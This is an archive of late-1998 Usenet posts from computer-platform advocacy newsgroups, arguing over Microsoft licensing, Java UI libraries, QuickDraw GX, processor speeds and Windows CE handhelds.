Date: Sat, 28 Nov 1998 01:11:04 -0500
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Chad Irby wrote:
>
> >
> > Wrong. The companies were legally distinct from their parent companies,
> > had different CEOs, staff, fiscal structures, etc.
>
> ...and were owned 100% by the parent companies. You're hanging on for
> dear life to a legal distinction that holds no water whatsoever.
..."See how they run...".....:)
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 28 Nov 1998 01:08:20 -0500
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Chad Irby wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > Have you ever heard of "volume" buying? Have you ever heard of "tier"
> > pricing?
>
> Yes. If you want good "volume" pricing from Microsoft, all you have to do
> is sign a per-line contract, meaning that you have to buy a copy of
> Windows for every computer you sell in a particular product line.
>
> It's pretty much identical to the "per processor" contracts.
>
What do you mean by "good?" $1, $3, $10 less per copy? What, exactly?
What does "per-line" mean, exactly? How do you relate that to
"per-processor?"
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 28 Nov 1998 01:23:45 -0500
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Stephen Peters wrote:
> >
> > I see...figures spouted by Apple (Steve Jobs, no less) which purport X86
> > users buying iMacs are believable. But figures showing migration away
> > from the Mac to X86 platforms need to be "backed up" and are therefore
> > doubtful. ANd you claim you're objective...:)
>
> That's not what Maury said. He said that figures migrating from Mac
> to x86 are irrelevant to a survey of what iMac buyers had previously
> owned. I don't think there is a single person on these newsgroups who
> believes that the statement "Many iMac purchasers either didn't own a
> computer or owned an x86" has any relation to what most x86 owners or
> even what most current Mac owners are doing. They only relate to the
> purchasers of the iMac.
And that's not what I said. To be truthful, any sort of meaningful
statistic like this has to take into account attrition. That is, you've
got some going out of the back door while others are coming in the front
door. If the number going out the back exceeds the number coming in the
front, you've got a problem. Apple's iMac statistics don't give us the
real numbers we need for a meaningful statement, therefore they're
little more than ad fluff.
>
> Maury made no claim about migration away from the Mac, nor did he try
> to cast any aspersions on what those numbers would be (despite your
> delusion to the contrary). You're welcome to document those if you
> like, and post them here -- I always look forward to anything which
> can turn this bombastic thread of hot air into something of substance.
Maury didn't (except to say such numbers were irrelevant) but I did.
>
> Really? That's intriguing. Can you point me to someone actually
> being objective? I haven't seen one in days. Lord knows you're not
> making the cut.
But I'm sure trying a lot harder, aren't I?....:)
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 28 Nov 1998 01:10:19 -0500
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Chad Irby wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > ...which has nothing to do with the fact that this individual's
> > testimony is *not* an official Compaq public statement.
>
> It is now.
No wonder this newsgroup reminds me so much of three blind mice...:)
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Fri, 27 Nov 1998 22:32:08 -0800
Organization: Net Squared, Inc.
Message-ID: <73o7er$v2a$1@your.mother.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com> <gmgraves-2711981053300001@sf-usr0-13-77.dialup.slip.net> <73n3s3$hnp$1@supernews.com> <73nqh4$bos@crab.afs.com>
Greg Anderson wrote
>Ironically, very early in the Java Revolution, Jayson Adams --
> Mr. NewsGrazer -- wrote some Java classes based on the AppKit
> that were purchased by NetScape, christened JFC (I think; please
> don't hold me to that acronym), and promptly buried for some
> unknown reason. I remember evaluating them.
Netscape's effort was the Internet Foundation Classes (IFC). JavaSoft
eventually took IFC under its wing, and it became known as Swing. Swing
is the most well known component of the Java Foundation Classes (JFC),
which should be part of JDK 1.2.
Does anyone know what happened to Jayson Adams? I remember the
NewsGrazer story was a pretty sad situation.
Todd
From: Raj Dutt <webmaster@voxel.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Date: Sat, 28 Nov 1998 07:15:18 +0000
Organization: voxel dot net
Message-ID: <365FA306.A76C7797@voxel.net>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net> <73cl43$h48$1@cronkite.cs.umd.edu> <73cmlm$omf$6@newnews.nl.uu.net> <F2x7L2.t1@a2e.de> <dX772.2716$gt1.9709257@newse1.twcny.rr.com> <365DAC34.6E7827B1@127.0.0.1>
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> Although a bit pricey, VAResearch (in the USA) has Linux preinstalled on
> laptops
> http://www.varesearch.com/
I believe that those notebooks are just NECs with Linux on them.
--
===============================================================
|'IE brings the web to Unix... isn't that like Ronald McDonald|
| brings religion to the Pope?' - Seen on Usenet |
===============================================================
From: root@anarchy.gov (-= G D T =-)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple - Star Wars connection
Organization: -= Ward Six Entertainment =- (see message for address)
Message-ID: <3661a6ae.484034@news1.bway.net>
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NNTP-Posting-Date: Sat, 28 Nov 1998 02:33:40 EDT
Date: Sat, 28 Nov 1998 07:33:38 GMT
"Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null> said:
|Strange thought just struck me...
|
|I believe Apple's first computer and operating system came out in 1977 -
|the same year that the first Star Wars movie came out.
|
|Now it appears that the first *major* upgrade to the Mac operating
|system, MacOS X, will probably be released in 1998 - the same year that
|the next Star Wars trilogy will begin.
|
|[The first demo I saw of NextTime, NeXT's version of QuickTime, at
|NextWorld was using Star Wars].
|
|I hope both the new movie and the operating system succeed.
|
|May the Force be with them,
|
|Todd
Bill Gates is the Emperor and Steve Jobs has died and has now become
Darth Vader. It happened at that last Macworld when Emperor Gates
appeared on that huge screen behind Steve to officially announce
Steve's turning to the darkside.
/ w A R D s I X e N T E R T A I N M E N T \
http://www.wardsix.com /\ toadeater@wardsix.com
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: 28 Nov 1998 07:43:43 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <73o9jf$5rj$1@supernews.com>
References: <199811251000.LAA32318@replay.com> <365F1BD0.55ED9D2E@ericsson.com> <slrn75ui2n.gk2.mark@ns1.oaai.com> <365F8F48.866F3FEB@nstar.net>
In article <365F8F48.866F3FEB@nstar.net>,
Michael J. Peck <mjpeck@nstar.net> wrote:
>You may also have noticed that the various technologies present on
>Windows seriously lack elegance but they are "complete and useful", in
>the wording of my previous posting. I suspect it will soon be
>acknowledged as a truism that "a technology in the hand is worth two in
>the bush".
The sad thing is that writing a decent library is not a fantasticaly
difficult job. The basic designs have been out there for 20 years
or so for anyone to swipe, but company after company still screws
it up and foists a bunch of crap on us. It annoys me and makes
my job more difficult and unpleasant, and there is no good reason
for it. Certainly MS should have been able to come up with a library
that doesn't give me a headache by now; they don't even have the
excuse of "we didn't have enough time." From what I've seen they
probably put as much effort into their products as would be required
by a good library; it's just that the effort was misdirected.
Comments on Swing after a day or so of looking it over:
o It's not going to take the graphics arts world by storm. Precise
layout is still not its forte.
o Dragging between windows and applications looks difficult from what
I can see; this seems to be an artifact of Java's lack of control
over the workspace.
o Ditto for copy & paste of complex data. Pasteboard was a big win.
o Some company that's good could probably make an IDE with
functionality similar to that of Interface Builder (circa 1989)
with a fair amount of work with java beans and parsers.
Overall, it's probably adequate for making MCCA's.
>There's a good reason for that: technology moves quickly and few people
>or industries have time to wait (or money to spend) for the level of
>quality you expect.
Many of the libaries can't appeal to lack of time or manhours for
their low quality. It's more a matter of bad design leading
to misallocated effort. NeXT, with maybe a couple hundred
programmers, came up with a better library than just about
anyone in the industry.
--
Don McGregor | "Win if you can, lose if you must, but always cheat."
mcgredo@mbay.net | --Jesse Ventura
From: sss@helix.wsn.ed.ac.uk (Shane Steven Sturrock)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Fri, 27 Nov 1998 18:46:38 +0000
Organization: Edinburgh University
Message-ID: <slrn75tsse.h6.sss@helix.wsn.ed.ac.uk>
References: <7329lg$ot0$1@nnrp02.primenet.com> <365D6BFD.ADB@holyrood.ed.ac.uk> <ye0k90iqx5b.fsf@aruba.informatik.uni-wuerzburg.de> <365D8FD3.6B3D@holyrood.ed.ac.uk> <365da487.0@uni-wuerzburg.de>
NNTP-Posting-Date: 28 Nov 1998 08:08:28 GMT
On 26 Nov 98, Matthias Buelow <token@cip.informatik.uni-wuerzburg.de> wrote:
>>out to be when it finally arrived. And you can't argue that they aren't
>>fast!
>
>That I certainly agree with (but mostly because they can be clocked so
>high, they're often a little slower than other risc or cisc machines at
>the same clockrate).
True enough, the 180Mhz R10000 processors we have in our SGI Challenge box
are about half the speed of our 533Mhz Alphas. Partly this is to do with the
on the fly instruction re-ordering that the R10K does which the 21164 doesn't
so you are much more at the mercy of the coder/compiler when it comes to
performance. On the other hand, the PII is a RISC core and the 21164 easily
outperforms that clock for clock.
--
Dr. Shane Sturrock - sss@holyrood.ed.ac.uk
Linux, a better WinNT than WinNT
From: raxelbrof@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: OS X Server Interface
Date: Sat, 28 Nov 1998 08:09:27 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73ob3g$k06$1@nnrp1.dejanews.com>
References: <73jgpn$rnn$1@nnrp1.dejanews.com> <73krr1$stc$1@nnrp1.dejanews.com> <73lqai$kps$1@nnrp1.dejanews.com> <73m6rb$ftm$1@sun27.hrz.tu-darmstadt.de>
In article <73m6rb$ftm$1@sun27.hrz.tu-darmstadt.de>,
neuss.nos-pam@informatik.th-darmstadt.de.nos-pam wrote:
> raxelbrof@my-dejanews.com wrote:
> >I apparently misinterpreted this to mean tearing off the workspace menu
> would
> >remove the menubar with it, and that was really the sole thing about the
> >article that made me post about it. Im trying to think what the menubar
> would
> >do after tearing off the workspace menu - would it leave a blank menubar or
> >would the menus for other running apps show through (that might be nasty).
>
> Getting rid of the menu bar would start a holy war.. should MocXS have this
> feature (and I actually think it will), I'd expect you'd need a "secret"
> dwrite to trigger it, and somebody would leak it several weeks _after_
> the release, so the press wouldn't take notice of it until after they've
> written about MocXS. <eg>
With the huge number of secret interface tweaks in MacOS 8.5 that can only be
accessed with Applescript, and the obvious NeXT influence that is occurring
in the appearence of finder ie double scroll arrows and docked running app
tiles it wouldn't surprise me if they sneak that functionality in and are
deliberately introducing features that way.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: A problem with QuickTime Vectors and Apple's graphics
Date: Sat, 28 Nov 1998 21:28:43 +1300
Organization: Geek Central
Message-ID: <ldo-2811982128440001@a48.hn2.wave.co.nz>
References: <73djkt$itc@news1.panix.com> <B27FA104-19AA4E@206.165.43.34> <73g21e$bd0@news1.panix.com>
In article <73g21e$bd0@news1.panix.com>, sal@panix.com wrote:
>Apple has finite resources. In order to develop this GX lib you want, they
>have to pull resources from some other project. Let's assume that Apple
>gives you free reign to decide what the priorities should be, and hands
>you a list with the following active projects:
>
>1) GX
>2) AppleScript
>3) QuickTimeML
>4) OpenTransport
>5) Carbon
>6) HyperCard
>7) WebObjects
>8) Improved Java support
>9) OpenGL
>10) YellowBox
>
>You have enough programmers and support staff (marketing/sales/testing/etc) to
>make three items high priorities and five low priorities.
>
>Two of those projects will either have to be "shelved" or "killed". And don't
>wimp out and say "I would try and save them all..." Pick two non-critical (in
>your plan) items and give your reasons for killing them.
That's easy: kill WebObjects and Yellow Box. Neither is relevant to
Apple's core business, which is MacOS. Dumping Yellow Box also means one
less Box to put into MacOS X. Actually, if it were up to me, I'd dump the
Blue Box from MacOS X too, and make it 100% pure native Carbon.
AppleScript is absolutely critical, if only because it's a Mac-specific
competitive advantage that Microsoft hasn't quite cottoned onto yet.
For the other high-priority item (apart from Carbon), I'd probably choose
either QuickTime or Open Transport. Java certainly doesn't qualify as a
priority: I'm not even sure what its future is, since it has completely
failed to replace C++ for "serious" programming.
The thing about GX, though, is that reviving it, at least to the same
level of functionality you had in MacOS 7.5.x/7.6.x, shouldn't take much
work at all. Regardless of what people may think about lack of support for
GX from developers, the fact remains that GX printing did indeed manage to
garner a remarkable amount of support from both application vendors
(Eudora, WordPerfect, Microsoft) and vendors of printers and printer
drivers (Brother, Canon, Computer Applications, Costar, DataProducts, GCC,
GDT, HP, Kodak, Lexmark, NEC, Polaroid, QMS, Seiko, Tektronix, TI, Xerox).
And printing was the one part of GX with the most immediate out-of-the-box
usefulness to users--you can say that the other parts of GX are just there
to make the printing powerful!
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 28 Nov 1998 03:38:03 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <199811280338033923236@ts1-32.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <cirby-1711981107070001@pm51-46.magicnet.net> <36598CEC.A037534F@spamtoNull.com> <cirby-2311981234010001@pm53-43.magicnet.net> <365AE0D0.1C3F0058@earthlink.net> <cirby-2411981227070001@pm61-44.magicnet.net> <365C353B.9953A20C@spamtoNull.com> <cirby-2511981248380001@pm65-41.magicnet.net> <365F8FD3.CE5EED98@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> First, the per-processor deals (which were also voluntary at the time)
> no longer exist. Second, the proce differences are more like a few
> dollars a copy. What you suggest isn't even factual.
.. you've seen the contracts, have you?
--
Remove nojunk from my email address to reply by email.
From: quinlan@intergate.bc.ca
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Sat, 28 Nov 1998 08:28:59 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73oc81$lm9$1@nnrp1.dejanews.com>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <slrn759k3h.n3m.float@interport.net> <01be1452$1e5eb6b0$a007280a@ntw_bmladmin> <01be150e$a7080a40$a1f1ccc3@default> <73783s$3b9$1@jimsun.uucp> <01be169e$d7eb04a0$72f1ccc3@default> <Pine.SOL.3.96.981124191714.20775D-100000@cssun.rrze.uni-erlangen.de> <01be19df$731e0060$53f0ccc3@default> <73m6q7$8na$3@rznews.rrze.uni-erlangen.de>
In article <73m6q7$8na$3@rznews.rrze.uni-erlangen.de>,
Matthias Bethke <Matthias.Bethke@gmx.net> wrote:
> I could agree to "somewhat less screwy than other flavors of Windoze",
> but certainly not "right" for the intended market.
It depends on what you consider the "intended market". It is very good for
some applications.
> What does it do a traditional laptop can't do?
Traditional laptops use a lot more battery power than PalmPCs and HandheldPCs.
They also tend to require a keyboard or mouse to be usable and that can be
problematic in the field. They are also more expensive.
> Theoretically that's a point for wince. Practically I don't see
> how palmtop/embedded applications developed with desktop concepts
> could work nearly as well as applications that received some thought
> about their special environment.
There are some "concepts" that have been modified to work in "their special
environment". In CE, for example, applications are quit automatically when
memory is running low, only a single instance of an application runs at a
time, programs don't offer a quit menu, MDI is not supported, applications
must save complete state data when quit, etc. The point in CEs favor is that
you can use familiar development tools to program CE and common elements work
the same in CE as they do in Windows.
> From what I've seen and read about wince apps so far, the
> actual functonality of their data exchange facilities doesn't
> go a lot beyond RTF either. Still, they pretend.
Actually, conversion works very nicely. You can view Word and Excel documents
on your CE device so long as they aren't too complex eg. don't expect to
review your 300-page book on your CE machine.
> Oh, I forgot presentations. Quite some petty show on a Palmtop...
Don't forget HPCs. They are actually quite nice for presentations. You can
import your powerpoint presentations directly onto the machine and then play
them back over a VGA adaptor. Having a self-contained presentation device with
12 hours of battery life that weights 3 pounds and has a 640x480 screen is
quite nice.
> Hm. I'll probably never understand people who feel that much
> compelled to print on the plane. If they're that keen on
> getting the job done at the minute they might as well carry one
> of those bulky Librettos.
Actually, for some professionals, being able to print directly from their PDA
is quite useful. It doesn't normally involve carrying a printer around,
however.
> > You don't, the 190MHz is needed for more powerful tasks.
>
> Like running a browser that sucks? It's just that Email was the
> only thing mentioned to work fine.
Actually, there are a few PDA applications that require a fair bit of
processor power. Even rendering complex word-processing documents takes a
while on a slow processor.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Apple - Star Wars connection
Date: Fri, 27 Nov 1998 22:50:04 -0800
Organization: Net Squared, Inc.
Message-ID: <73o7eu$v2a$3@your.mother.com>
Strange thought just struck me...
I believe Apple's first computer and operating system came out in 1977 -
the same year that the first Star Wars movie came out.
Now it appears that the first *major* upgrade to the Mac operating
system, MacOS X, will probably be released in 1998 - the same year that
the next Star Wars trilogy will begin.
[The first demo I saw of NextTime, NeXT's version of QuickTime, at
NextWorld was using Star Wars].
I hope both the new movie and the operating system succeed.
May the Force be with them,
Todd
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Sat, 28 Nov 1998 07:22:35 -0400
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-2811980722350001@jchristie.halifaxcable.dal.ca>
References: <*johnnyc*-2711981727050001@jchristie.halifaxcable.dal.ca> <B28483DD-9B4B@206.165.43.169>
In article <B28483DD-9B4B@206.165.43.169>, "Lawson English"
<english@primenet.com> wrote:
> > But, I can say that Apple's offical word is that, "you do not need
> >QuickDraw GX to use QuickTime vectors; ALL of its functionality is in
> >QuickTime vectors" (QT3.0 Reference, p. 758, emphasis mine). That chapter
> >goes on to (re)describe much of QD GX and even uses the same names for
> >parameters (starting with gx). They are all available from QT vectors.
> >So, while you have claimed that you don't see a way to write apps with GX
> >vector properties in QT, do you have any evidence?
>
> Exchanges on the QuickTime-dev mailing list asking how to do it. And here's
> a few things that are NOT in QT vectors:
>
> GX typography, GX bitmaps, GX viewports, GX file flattening, etc. QT
> vectors implements a good portion of the GX graphics format, but I don't
> believe that it even handles picture shapes!
Well, you are correct about the typography, but that will be
implemented elsewhere in the OS so it isn't going anywhere. It handles gx
shapes explicitly. Other gx components you mention aren't explicitly
necessary to get the graphics benefits gx provides (like speed and
transparency), and are only needed for working inside the gx framework.
To be frank, it is apparent that everything in the gx API (interface)
is obviously not in QTvect API. The difference in the mass of the manuals
is evidence of that. However, since all of the drawing capabilities are
exposed then the ability to duplicate GX is there, just not with as many
layers. If it wasn't there QT vect would not be able to fully import GX
graphics.
And, while QT was designed for multimedia, it is not stuck there. The
QuickTime Components are designed explicitly to be put into any type of
framework. I use them for blitting, timing, and drawing without ever
creating a .mov file or any explicitly movie based data structure. One
could relatively easily create a draw program from QT components.
It is true that because all of the layers of gx are not contained in
the vector component API that a port from a GX drawing app to QT would
require extensive work. However, to suggest that this is impossible (as
you have) is without foundation. I was addressing that argument and you
did not back it up. You simply moved over to saying QT vect. is less
complete and not line by line compatible.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to make nice, polite
academic related replies via email.
From: "tbc" <tbcass@dreamscape.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple - Star Wars connection
Date: Sat, 28 Nov 1998 07:45:19 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <73ordj$hb5$1@supernews.com>
References: <73o7eu$v2a$3@your.mother.com>
Todd Heberlein (todd at NetSQ dot com) wrote in message
<73o7eu$v2a$3@your.mother.com>...
>Strange thought just struck me...
>
>I believe Apple's first computer and operating system came out in 1977 -
>the same year that the first Star Wars movie came out.
>
>Now it appears that the first *major* upgrade to the Mac operating
>system, MacOS X, will probably be released in 1998 - the same year that
>the next Star Wars trilogy will begin.
1998? I don't think so.
Tom
From: "Pascal Haakmat" <ahaakmat@cable.a2000.nl>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Sat, 28 Nov 1998 14:11:59 +0100
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <73osr0$nu4$1@newton.a2000.nl>
References: <199811251000.LAA32318@replay.com>
<gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net>
<73hti4$73$1@nnrp02.primenet.com>
<gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net>
<73kctc$cju$1@nnrp03.primenet.com> <F33923.H85@T-FCN.Net>
<365EE279.D5E5A5F2@ericsson.com> <F33HG5.Lw1@T-FCN.Net>
<365F1BD0.55ED9D2E@ericsson.com> <F33w63.3FB@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
In article <F33w63.3FB@T-FCN.Net> , maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> For _now_ YB remains as the only tool out there that lets me concentrate
>on the code and not filling in gaps in the objects. This has not yet
>happened under Java notably AWT which is simply horrid.
I guess one of the reasons why the AWT is not exactly full-featured has to
do with the fact that it needs to support the lowest common divider of
functionality between native peers. I'll agree that it does not come with
sugar coating. But in my experience, there's enough of it to make small to
medium sized apps. And it _does work_ across platforms, if you forget about
using it in browsers. The differences between the *nix, Mac OS and Windows
implementations of the AWT are generally very small. Handling these
differences usually amounts to simply writing code that does not rely on any
component having a fixed size. Other stuff is really minor: like TextArea's
scroll down when append(String) is called on a Mac; not so in Linux.
The whole point of cross-platform application distribution is moot anyway,
since every OS follows different conventions on how applications are
distributed and packaged. That's just not something that Java solves.
Pascal.
Sender: decklin@c26469-a.clnvl1.ct.home.com
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <3655d240.3919304@news.netlife.fi> <slrn75e9bi.253.josh@vortex.nyu.edu> <F2tBB8.3Hr@no.circulars> <slrn75p5ls.a93.josh@vortex.nyu.edu>
From: Decklin Foster <decklin@base.org>
Message-ID: <87u2zkyxij.fsf@c26469-a.clnvl1.ct.home.com>
Date: Sat, 28 Nov 1998 14:32:36 GMT
NNTP-Posting-Date: Sat, 28 Nov 1998 06:32:36 PDT
Organization: @Home Network
On Sun, 22 Nov 1998 07:25:56 GMT, Simon Hosie wrote:
> Josh Fishman:
> > Feh! Linux has had Animated Wallpapers since the first penguin crawled out
> > of the primordial swap and typed ``flame -root''.
>
> Is "swap" a pun I only partially get, or a typo leaving open a pun that I
> can't quite make up?
It's swap space... "mkswap /dev/primordial". :-)
--
please read: http://www.gnu.org/philosophy/
From: "Bjørnar Bolsøy" <bbolsoey@rl.telia.no>
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <slrn759k3h.n3m.float@interport.net> <01be1452$1e5eb6b0$a007280a@ntw_bmladmin> <01be150e$a7080a40$a1f1ccc3@default> <73783s$3b9$1@jimsun.uucp> <01be169e$d7eb04a0$72f1ccc3@default> <Pine.SOL.3.96.981124191714.20775D-100000@cssun.rrze.uni-erlangen.de> <01be19df$731e0060$53f0ccc3@default> <73m6q7$8na$3@rznews.rrze.uni-erlangen.de>
Message-ID: <01be1b29$2a5e8840$63f0ccc3@default>
Date: 28 Nov 98 14:45:57 GMT
I didn't plan on it, but this became a long one. =)
Matthias Bethke <Matthias.Bethke@gmx.net> wrote:
In comp.sys.amiga.advocacy Bjørnar Bolsøy <bbolsoey@rl.telia.no> wrote:
>>
>> I think you got things a bit wrong here. I started out by
>> saying that WinCE, for once, is something MS has done
>> right, you have now taken this into a little stand-off against
>> traditional PDAs.
>I could agree to "somewhat less screwy than other flavors of Windoze",
>but certainly not "right" for the intended market.
While PalmOS is AFAIK more or less streamlined for PDA
use WinCE isn't, that's the whole clue, it's a highly modular
general purpose OS for a _wide_ range of applications.
It has it's drawbacks if you pust it up against specialized
competition, like you indicated, but from an overall
perspective there is little contest.
>> are not synonymous, WinCE is targeted at a wide
>> range of applications and hardware
>
>Even worse...
That was my first reaction too when I read the initial
press-releases describing WinCE. :)
>> - one is powering car-MFDs
>
>...that sport no windows, no network, no disk, no nothing.
Exactly, modularity at large. So you see, WinCEs
can be used without a high resolution screens. :)
>> - one is playing the latest games
>
>The latest wince games that is. Palmtops will always be behind
>desktop hardware in graphics power, and for things like the
>Dreamcast I forsee a development similar to the PSX where hardly
>any of the latest games uses Sony's graphics libraries any more.
Yes, I was thinking about the Dreamcast and future
products. DirectX has come a long was since the first days
of crash-prone and unoptimized driver and API performance
and though I personally dislike Direct3D in favour of OpenGL
I think DirectX will influence development in a good way.
If not, I think we'll se an explosion of developers at least..
>> - one does great for the lab assistant in the field where
>> a traditional laptop would not suffice
>
>What does it do a traditional laptop can't do?
Weight and battery life. Take our geological division
for example. Field work can sometimes involve sample
gathering in vast and difficult conditions (not always
to find oil - I work in an oil company, with IT that is :)),
and being able to examine the samples as rapidly as
possible, without the phyical stress of bringing it back
to a fully equiped lab (stress, both to the samples and
the field geologists) offers great advantages.
Every single pound of equipment influence their operation
radius and endurance and one pound extra of water or
food can be save a mans life if something goes frightfully
wrong (which it never does, thankfully, because they
usually don't rely on _that_ crittical margins :)) but it
extends their radius and offers the possibility of working
in areas that is otherwise inaccessible to vehicles and
air-drops.
In these conditions the prospect of bringing a laptop,
which is bulky and has a rather short batterylife, which
means extra batteries, which means even more weight,
is a bit grim. A WinCE HPC would mean that they can
use theit existing geological software (or with few
modifications), they can communicate as usual through
a common interface (perhaps not the best interface but
it's something they are well familiar with nonetheless),
and can play a realaxing game of Doom if they have
to seek refuge in their tents if hit by a storm. :)
This is a future prospect though, for the record, one
that is likey to evolve. The most compelling problem
would probably be how your typical WinCE HPC
survives excessive heat or cold.
>> - one is providing a familiar face for in-check kiosk
>> devices
>
>Kiosk devices where there is plenty of space for a real
>computer with a stable OS?
Not always. As most areas in the technology business
trends are towards the small. It generally means that
kiosk solutions can extend into areas where size
and complexity before dismissed them.
>> - it might even power your vacuum cleaner one day
>
>"General Protection Fault in Module SUCK.DLL". Looking
> forward to it :-)
:D
>Theoretically that's a point for wince. Practically I don't see
>how palmtop/embedded applications developed with desktop
>concepts could work nearly as well as applications that
>received some thought about their special environment.
It actually offers potentially huge advantages, especially
in developing efforst (read: cost).
>> How compatible is your P3 in comparison besides
>> offering simple synchronization like the rest of the
>> bunch - Word? Wordpro? Word Perfect? G'ol Amipro?
>I don't have a PP so I can only speak from hearsay.
Oh, in that case I missunderstood you, I thought you
actually had a P3, chosed in favour of a WinCE box.
My bust.
>From what I've seen and read about wince apps so far, the
>actual functonality of their data exchange facilities doesn't
>go a lot beyond RTF either. Still, they pretend.
Still, it's better than your average PDA.
>SRAM I think, and some PDAs schould even handle cellulars.
How about PPTP, TAPI/Unimdem or IP multicastinng?
>ATA devices are more a hardware problem which wince can't
>solve either.
WinCE has had support for ATA/IDE since 1.0. Presently
it doesn't incluse fileresources like harddisks or floppys
(planned) but things like PCMCIA, CF cards and other
miscs can be used.
USB is a big pluss in this respect anyway, printers,
scanners, cameras, input devices, SCSI etc..
>It's true OK, lemme put it this way: applications for which
>you'd typically choose a display comparable to palmtops in
>resolution suck in B/W with wince.
I'm not so sure. We'll have to agree to disagree on this
one until I've tried out one for myself. :)
>> How usable is your P3 with Japanese? Does it have
>> a basic Unicode text API at all?
>
>I don't have a PP but I doubt it is of any use with Japanese.
>Of what use are japanese characters anyway on palmtop
>resolutions?
It's seems to be useful on HPC resolutions as least.
According to the 2.1 FAQ it's localized in WW English
